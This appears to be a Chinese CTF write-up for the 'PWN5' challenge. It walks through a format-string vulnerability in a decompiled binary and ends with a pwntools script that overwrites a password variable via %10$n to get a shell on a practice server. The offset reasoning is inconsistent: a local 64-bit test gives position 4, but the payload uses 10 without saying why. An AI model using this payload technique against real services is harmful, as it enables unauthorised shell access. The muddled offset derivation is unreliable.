[第五空间2019 决赛]PWN5 1解题思路
首先查看入口函数
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}可以从下面作为突破口
read(0, buf, 0x63u);
printf("Hello,");通过read输入格式化数据如:%n %d 等通过print进行输入
试验证明
#include <stdio.h>
int main() {
char a[100]="AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p";
printf(a);
return 0;
}通过上述代码打印print的参数,可以得出AAAA在堆栈的哪一个位置
运行结果
\Desktop\[第五空间2019 决赛]PWN5 1解题思路>a.exe AAAA70252E70252E7025.0000000000AC43F0.0000000000000013.252E702541414141.2E70252E70252E70.70252E70252E7025.252E70252E70252E.2E70252E70252E70.70252E70252E7025.252E70252E70252E.0070252E70252E70.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000010.0000000000AC1370.00000000004013C7.0000000000000000
可以看到AAAA的编码414141在第四个位置
当我们知道偏移量 k 后,就可以用 %k$n 来直接操作第 k 个参数。例如 %10$n 表示: 取出第 10 个参数的值,把它当作一个内存地址; 将当前已经输出的字符数写入这个地址。
所以 这道题的解题思路是
使用nc进行链接,发送
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
确认字符位置,然后使用p32(target_addr) + b'%10$n'
发送将发送位置的数字替换为4
target_addr的地址是
.bss:0804C041 align 4 .bss:0804C044 ; _DWORD dword_804C044 .bss:0804C044 dword_804C044 dd ? ; DATA XREF: main+77↑o .bss:0804C044 ; main+108↑o .bss:0804C044 _bss ends .bss:0804C044 extern:0804C048 ; =========================================================================== extern:0804C048 extern:0804C048 ; Segment type: Externs extern:0804C048 ; extern extern:0804C048 ; ssize_t read(int fd, void *buf, size_t nbytes) extern:0804C048 extrn read:near ; CODE XREF: _read↑j extern:0804C048 ; DATA XREF: .got.plt:off_804C00C↑o extern:0804C04C ; int printf(const char *format, ...)
0804C044
所以最终的攻击代码是
from pwn import *
r=remote('node5.buuoj.cn',26244)
backdoor_addr=0x0804C044
payload=p32(backdoor_addr)+ b'%10$n'
r.sendline(payload)
r.sendline("4")
r.interactive()